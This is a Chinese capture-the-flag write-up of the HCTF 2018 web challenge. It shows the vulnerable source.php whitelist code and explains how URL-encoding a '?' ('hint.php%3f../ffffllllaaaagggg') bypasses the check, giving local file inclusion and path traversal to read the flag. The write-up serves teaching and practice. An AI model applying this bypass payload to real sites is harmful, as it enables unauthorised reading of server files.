题目描述
来源:HCTF 2018
Solution
打开页面,发现是一张图片:

我们用 dirsearch 扫描一下目录,发现有一个source.php文件可以打开:

我们进入到source.php,观察源代码:
<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}?>
源代码里有给白名单列表,有一个成员是hint.php,我们跟进看一看:

源代码中有几个值得关注的函数:
mb_substr($str: string, $start: int, $length: int) -> string:从str的start处获取子串,长度为length;mb_strpos($haystack: string, $needle: string) -> int:查找needle首次在haystack中出现的位置;
我们的核心目标是让指令控制了进入if分支:
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
}
然后利用文件包含漏洞把ffffllllaaaagggg的内容打印出来。
我们尝试构造 Payload:
http://111.200.241.244:62173/source.php?file=hint.php%3f../ffffllllaaaagggg
- 第一次执行
mb_substr()时,会截取出hint.php%3f../ffffllllaaaagggg字符串,因为它不在白名单里,所以会继续往下执行; - 对
hint.php%3f../ffffllllaaaagggg进行一次 URL 解码,得到hint.php?../ffffllllaaaagggg(注意浏览器在发送数据的时候会进行一次 URL 编码,我这里为了抓重点演示数据就没写完整); - 第二次执行
mb_substr(),会截取出hint.php,因为它在白名单里,所以会return true;
但是执行了上面的 Payload,没有发现 Flag,我们一级级向上穷举,最后能找到 Flag:

